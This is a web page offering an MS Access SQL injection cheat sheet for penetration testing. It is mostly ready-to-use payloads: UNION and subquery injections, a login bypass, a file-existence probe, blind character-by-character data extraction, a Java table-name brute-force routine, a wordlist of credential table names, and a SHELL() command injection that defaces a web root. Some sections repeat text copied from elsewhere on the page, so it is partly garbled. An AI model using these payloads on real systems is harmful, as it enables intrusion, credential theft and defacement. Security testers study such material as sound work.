MS Access SQL Injection Cheat Sheet

MS Access SQL Injection Cheat Sheet

Pen testing MS Access SQL Injection Cheat SheetMS Access SQL Injection Cheat Sheet for penetration testing, while MS Access backend databases are less common on modern web applications, they still crop up during internal web app penetration testing from time to time. This resource provides practical examples for MS Access SQL Injection, if you found it useful then please share it.

MS Access SQL Injection Cheat Sheet for Penetration Testing

DescriptionSQL query and Comments
CommentsThere are no comments in MS Access. So "/*", "--", and "#" can't be used here. But it's possible to use the NULL byte (%00) to comment out the end of the query :
' UNION SELECT 1,1,1 FROM validTableName%00
Syntax Error Message"[Microsoft][Driver ODBC Microsoft Access]"
Stacked QueryNot Allowed.
UNION supportThe UNION operator is supported, but it needs a valid table name in the FROM clause.
Subquery
Subqueries are supported (in the example "TOP 1" is used to make the query returns only one row) :
' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT supportLIMIT isn't implemented, but it's possible to use "TOP N" in SELECT statement, to limit the number of returned rows :
' UNION SELECT TOP 3 AttrName FROM validTableName%00 : returns (the first) 3 rows
Make the query returns 0 rowsThis could be useful when the script displays only the first result rows in the html response :
' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
String concatenationNo CONCAT() function exists. It's possible to use the "&" or "+" operator to concat two strings. But you need to URL encode them :
' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : returns "webapp"
' UNION SELECT 'web' %26 'app' FROM validTableName%00 : returns "webapp"
SubstringMID() function :
' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : returns "a"
' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : returns "b"
String lengthLEN() function :
' UNION SELECT LEN('1234') FROM validTableName%00 : returns 4
Find web root directoryYou can find the web root directory trying to select something from an inexistent database. MS Access will response with an error message containing the full path name :
' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
ASCII value from a characterASC() function :
' UNION SELECT ASC('A') FROM ValidTable%00 : returns 65 (ASCII value for 'A')
Character from an ASCII valueCHR() function :
' UNION SELECT CHR(65) FROM validTableName%00 : returns 'A'
IF StatementIIF() function can be used. Syntax : IIF(condition, true, false) :
' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : returns 'a'
Time InferenceFunction such as BENCHMARK() or SLEEP() doesn't exist. But it's possible to inference data with the use of heavy queries as explained here.
Verify File Existence By injecting :
' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (if file exists) an error message is obtained (it informs that the database format was not recognized).
Table Name bruteforcingHere is a simple Java method that could be used to bruteforce MS Access table names. I wrote it to better explain the table name bruteforce process :


static private String columnErrorMessage = "...";
static private String accessError = "...";

[...]

public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];
   }

   return null;
}


Field Name bruteforcingYou need a valid table name and column number :
' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00
In this case you have to loop on an attribute names list (in the same way I propose in the code above). An attribute is guessed if the syntax error message doesn't appear in the html response. Here "j" is just an index of an ipotetical attributes list.
Login bypassUser : ' OR 1=1%00 (or " OR 1=1%00)
Password : (blank)

Attributes Enumeration
NOTE : This method was tested with JBoss (using a bugged .jsp script) + MS Access, I don't know if this works with other configurations.
Usually if a SQL Injection exists, when you type a quote (') in a URL parameter you obtain an error message such as :

Error (...) syntax (...) query (...) : " Id=0' "


And this tells you that the current table has a parameter called "Id". Often programmers use the same names for URL and query attributes. When you know one parameter name you can use the technique used with MS SQL Server to enumerate other table fields name by injecting :

' GROUP BY Id%00


Now you'll obtain a new error message contains another attribute name. Enumeration follows by injecting :

' GROUP BY Id, SecondAttrName, ...%00
until you'll enumerate all the parameters.

OS Command Injection

By default it’s impossible to access to these functions

DescriptionSQL Query and Command
Security NotesIt's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

Its default values is 2, so by default it's impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.
Get Current DirectoryHere you need of columns number and a valid table name :

' UNION SELECT CurDir(),1,1 FROM validTableName%00
Execute OS CommandsSHELL() function can be used to run OS command :

' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

MS Access System Tables

By default it’s impossible to access to these system tables

DescriptionSQL Query and Command
MSysAccessXMLIt's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

Its default values is 2, so by default it's impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.
MSysACEsHere you need of columns number and a valid table name :

' UNION SELECT CurDir(),1,1 FROM validTableName%00
MSysObjectsHere you can find database table name :

Connect
Database
DataCreate
DataUpdate
Flags
ForeignName
Id
Lv
LxExtra
LvModule
LvProp
Name
Owner
ParentId
RmtInfoLong
RmtInfoShort
Type
This query can be used to obtain database tables name :

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

MS Access Blind SQL Injection

These steps can be used to bruteforce table content

DescriptionSQL Query and Command
Step #1 : Bruteforce Table NameYou have to bruteforce the table name. You can use the wordlist listed below. Inject query :

' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

After injection you have to check the html response page. If table exists you should have the same html page layout (because "AND 1" has no effect on the query).
Step #2 : Bruteforce Field NameYou have to find table fields name. Inject query :

' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

As above, you should check the html page layout to inferece the field name existence
Step #3 : Bruteforce Table rows numberHere you can find database table name :

Connect
Database
DataCreate
DataUpdate
Flags
ForeignName
Id
Lv
LxExtra
LvModule
LvProp
Name
Owner
ParentId
RmtInfoLong
RmtInfoShort
Type
This query can be used to obtain database tables name :

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Step #4 : Bruteforce item lengthYou can bruteforce the value length of a generic "ATTRIB" field at row number 1 with this query :

' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00
You can bruteforce the value length of a generic "ATTRIB" field from row 2 to TAB_LEN with this query (here N is a number between 2 and TAB_LEN, the value bruteforced before) :
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00
"KKK" is a value between 0 and an arbitrary value, while ATTRIB<>'valueXXX' is used because we have to select a specific line to bruteforce. The unique way I found to do this is to select the desidered row with "TOP N",and then insert in the WHERE clause all the attribute values bruteforced before. I have to say that "ATTRIB" must be the table key-field. Here is an example :
 

A1A2A3
111122223333
00004444oooo
aaaabbbbccccc


You can bruteforce fields value length for row 1 in this way :
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

While you can bruteforce fields length value of second row in this way (assuming A1 as table key-field) :

' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00
The same for row number 3 :
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
 
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
Obviusly, before bruteforcing field value length (at row between 2 and TAB_LEN) you have to bruteforce the previous row (key) field value (you have to put it in the WHERE clause).
Step #5 : Bruteforce Table ContentSupposing that the attacker already knows the table and fields name, he will inject this query :

' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)%00

Where "N" is the row to bruteforce, "XXX" is the x-th byte of "ATTRIBxxx" to bruteforce, "ATT_key" is the table key-field and "YYY" is a number between 0 and 255 (it represents the ASCII value for a char). Here we have to use the same method mentioned before to correctly bruteforce a specific row attribute content.

Tables and Fields Bruteforcing

The following shows table brute forcing using a word list.

DescriptionSQL Query and Command
Table/Field WordlistHere is a very short table/field names wordlist that can be used during bruteforcing :


account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd,  user_passwd;

 

 

 


Leave a Reply

Your email address will not be published. Required fields are marked *